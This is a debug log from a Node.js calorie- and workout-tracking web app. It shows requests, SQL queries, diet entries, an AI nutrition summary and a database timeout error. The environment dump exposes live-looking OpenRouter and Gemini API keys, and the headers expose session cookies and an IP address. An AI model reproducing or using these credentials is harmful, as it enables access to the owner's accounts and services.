    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T10:52:45.787Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-22T10:52:45.790Z server-connect:app Executing action step identify
2025-12-22T10:52:45.790Z server-connect:app options: { provider: 'security' }
2025-12-22T10:52:45.790Z server-connect:output identity: 1
2025-12-22T10:52:45.790Z server-connect:app Executing action step restrict
2025-12-22T10:52:45.790Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T10:52:45.791Z server-connect:output restrict: undefined
2025-12-22T10:52:45.791Z server-connect:app Executing action step select
2025-12-22T10:52:45.791Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select * from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-22T10:52:45.794Z server-connect:output list: [
  {
    exercise_id: 1,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    instruction: 'This is a test instruction',
    type: 'Superset',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:51:46.000Z',
    no_of_sets: 4,
    group: '1',
    workout_day: 'Monday'
  },
  {
    exercise_id: 2,
    schedule_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    instruction: null,
    type: 'Superset',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:52:54.000Z',
    no_of_sets: 4,
    group: '1',
    workout_day: 'Monday'
  },
  {
    exercise_id: 3,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:57.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: 'Monday'
  },
  {
    exercise_id: 4,
    schedule_id: 2,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T14:53:58.000Z',
    no_of_sets: 3,
    group: null,
    workout_day: 'Monday'
  },
  {
    exercise_id: 5,
    schedule_id: 2,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    instruction: null,
    type: 'Regular',
    created_by: 1,
    updated_on: null,
    updated_by: null,
    created_on: '2025-04-20T17:43:22.000Z',
    no_of_sets: 4,
    group: null,
    workout_day: 'Tuesday'
  }
]
2025-12-22T10:53:00.174Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T10:53:00.175Z server-connect:app Executing action step identify
2025-12-22T10:53:00.175Z server-connect:app options: { provider: 'security' }
2025-12-22T10:53:00.175Z server-connect:output identity: 1
2025-12-22T10:53:00.175Z server-connect:app Executing action step restrict
2025-12-22T10:53:00.175Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T10:53:00.175Z server-connect:output restrict: undefined
2025-12-22T10:53:00.175Z server-connect:router Render template calorie-tracker
2025-12-22T10:53:00.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T10:53:00.402Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T10:53:00.403Z server-connect:app Executing action step identify
2025-12-22T10:53:00.403Z server-connect:app options: { provider: 'security' }
2025-12-22T10:53:00.403Z server-connect:output identity: 1
2025-12-22T10:53:00.403Z server-connect:app Executing action step restrict
2025-12-22T10:53:00.403Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T10:53:00.404Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T10:53:00.404Z server-connect:output restrict: undefined
2025-12-22T10:53:00.404Z server-connect:app Executing action step single
2025-12-22T10:53:00.404Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T10:53:00.405Z server-connect:app Executing action step identify
2025-12-22T10:53:00.405Z server-connect:app options: { provider: 'security' }
2025-12-22T10:53:00.405Z server-connect:output identity: 1
2025-12-22T10:53:00.405Z server-connect:app Executing action step restrict
2025-12-22T10:53:00.405Z server-connect:app options: { provider: 'security' }
2025-12-22T10:53:00.405Z server-connect:output restrict: undefined
2025-12-22T10:53:00.405Z server-connect:app Executing action step single
2025-12-22T10:53:00.405Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T10:53:00.406Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T10:53:00.406Z server-connect:app Executing action step select
2025-12-22T10:53:00.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T10:53:00.407Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition provided a good foundation with post-workout protein and a balanced meal. However, the overall intake appears to be on the lower side, potentially impacting recovery and muscle development goals. Ensuring adequate nutrient density throughout the day will be key for sustained progress.",
    bad_points: [
      'Overall food variety is limited.',
      'Protein intake may be insufficient for muscle development goals.',
      'Potential for lower energy levels due to limited food volume.',
      'Sugar added to milk tea.'
    ],
    good_points: [
      'Post-workout protein intake is present.',
      'Inclusion of a balanced meal with carbohydrates and some protein.',
      'Hydration with green tea is a positive.'
    ],
    suggestions: [
      'Incorporate more protein sources throughout the day, such as lentils, beans, or lean meats.',
      'Increase the variety of vegetables and fruits to enhance nutrient intake.',
      'Consider adding healthy fats like nuts or seeds to meals.',
      'Reduce or eliminate added sugar in beverages.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T10:53:00.410Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 1,
    quantity: '1 serving (approx 100g cooked)',
    replacements: 'Zucchini noodles,Shirataki noodles,Whole wheat pasta (slightly more fiber, similar calories)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 2,
    skip_reason: 'Provides carbohydrates for energy, but refined semolina can be replaced with whole wheat for more fiber and sustained energy. For muscle development, carbs are important, but quality matters.'
  },
  {
    id: 482,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Matar (Green Peas)',
    calories: 40,
    protein_gm: 3,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: 'Mixed with pasta (approx 50g)',
    replacements: 'Spinach,Broccoli,Cauliflower',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of fiber, vitamins, and some plant-based protein. Excellent addition to a meal.'
  },
  {
    id: 483,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 75,
    protein_gm: 4,
    carbs_gm: 8,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black tea with lemon,Green tea,Herbal tea,Tea with skim milk and no sugar',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 2,
    skip_reason: 'Contains sugar and milk, which add calories. While not terrible, for muscle development, focusing on protein and complex carbs is better. Can be enjoyed in moderation.'
  },
  {
    id: 484,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'White Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 spoon (assuming 1 teaspoon, approx 4g)',
    replacements: 'Artificial sweeteners (stevia, erythritol, sucralose),Less sugar,Small amount of honey (still caloric, but some nutritional benefits)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 3,
    skip_reason: 'High in empty calories, provides no nutritional value, and can contribute to sugar crashes. For muscle development, these calories are better spent on nutrient-dense foods.'
  },
  {
    id: 485,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 1,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Black coffee (no sugar/milk)',
    created_at: '2025-12-22T00:19:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  },
  {
    id: 486,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed mixed vegetables,Gobi sabji with less potato,Salad with grilled chicken/paneer',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
  },
  {
    id: 487,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)',
    replacements: 'Whole wheat roti (slightly lower GI),Jowar/Bajra roti (higher fiber),Brown rice (in moderation),Quinoa',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 2,
    skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
  }
]
2025-12-22T10:53:00.410Z server-connect:app Executing action step setvalue
2025-12-22T10:53:00.410Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T10:53:00.410Z server-connect:output var_total: 938
2025-12-22T10:53:00.410Z server-connect:app Executing action step setvalue
2025-12-22T10:53:00.410Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T10:53:00.410Z server-connect:output var_consumed: 39
2025-12-22T10:53:00.410Z server-connect:app Executing action step setvalue
2025-12-22T10:53:00.410Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T10:53:00.410Z server-connect:output var_deficit: 1462
2025-12-22T10:53:00.410Z server-connect:app Executing action step custom
2025-12-22T10:53:00.410Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T10:53:00.413Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '938',
    surplus_or_deficit: '1462',
    status_flag: 2
  }
]
2025-12-22T11:04:38.235Z server-connect:app Executing action step identify
2025-12-22T11:04:38.235Z server-connect:app options: { provider: 'security' }
2025-12-22T11:04:38.235Z server-connect:output identity: 1
2025-12-22T11:04:40.366Z server-connect:app Executing action step identify
2025-12-22T11:04:40.367Z server-connect:app options: { provider: 'security' }
2025-12-22T11:04:40.367Z server-connect:output identity: 1
2025-12-22T11:08:52.810Z server-connect:app Executing action step identify
2025-12-22T11:08:52.810Z server-connect:app options: { provider: 'security' }
2025-12-22T11:08:52.810Z server-connect:output identity: 1
2025-12-22T11:08:55.393Z server-connect:app Executing action step identify
2025-12-22T11:08:55.393Z server-connect:app options: { provider: 'security' }
2025-12-22T11:08:55.393Z server-connect:output identity: 1
2025-12-22T11:11:54.516Z server-connect:app Executing action step identify
2025-12-22T11:11:54.516Z server-connect:app options: { provider: 'security' }
2025-12-22T11:11:54.517Z server-connect:output identity: 1
2025-12-22T11:11:57.387Z server-connect:app Executing action step identify
2025-12-22T11:11:57.387Z server-connect:app options: { provider: 'security' }
2025-12-22T11:11:57.387Z server-connect:output identity: 1
2025-12-22T11:23:05.236Z server-connect:app Executing action step identify
2025-12-22T11:23:05.236Z server-connect:app options: { provider: 'security' }
2025-12-22T11:23:05.236Z server-connect:output identity: 1
2025-12-22T11:23:07.487Z server-connect:app Executing action step identify
2025-12-22T11:23:07.487Z server-connect:app options: { provider: 'security' }
2025-12-22T11:23:07.488Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 11:30:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 11:30:42' as DATETIME)"
}
2025-12-22T11:33:29.235Z server-connect:app Executing action step identify
2025-12-22T11:33:29.235Z server-connect:app options: { provider: 'security' }
2025-12-22T11:33:29.236Z server-connect:output identity: 1
2025-12-22T11:33:31.396Z server-connect:app Executing action step identify
2025-12-22T11:33:31.396Z server-connect:app options: { provider: 'security' }
2025-12-22T11:33:31.396Z server-connect:output identity: 1
2025-12-22T11:33:58.557Z server-connect:app Executing action step identify
2025-12-22T11:33:58.557Z server-connect:app options: { provider: 'security' }
